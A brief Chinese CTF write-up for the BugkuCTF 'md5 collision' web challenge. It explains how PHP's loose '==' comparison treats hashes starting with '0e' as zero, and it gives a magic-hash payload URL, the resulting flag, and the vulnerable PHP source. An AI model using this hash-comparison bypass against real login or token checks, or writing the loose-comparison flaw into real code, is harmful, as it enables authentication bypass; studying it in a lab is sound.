BugkuCTF-Web27-md5 collision

    打开题目环境,页面提示

    1. please input a

    其他看了半天没发现源码之类的东西,后来通过搜索MD5碰撞,才明白该题的知识点,经过md5加密后以0e开头的在进行‘==’运算时,php会认为他们都为0

    构造payload

    http://114.67.246.176:16498/?a=s878926199a
    

    获得flag。

    flag{8bd10b85d6d25996007e77497291f416}
    

    通过搜索,后台源码应该如下:

    <?php
    $md51 = md5('QNKCDZO');
    $a = @$_GET['a'];
    $md52 = @md5($a);
    if(isset($a)){
    if ($a != 'QNKCDZO' && $md51 == $md52) {
        echo "flag{*****************}";
    } else {
        echo "false!!!";
    }}
    else{echo "please input a";}
    ?>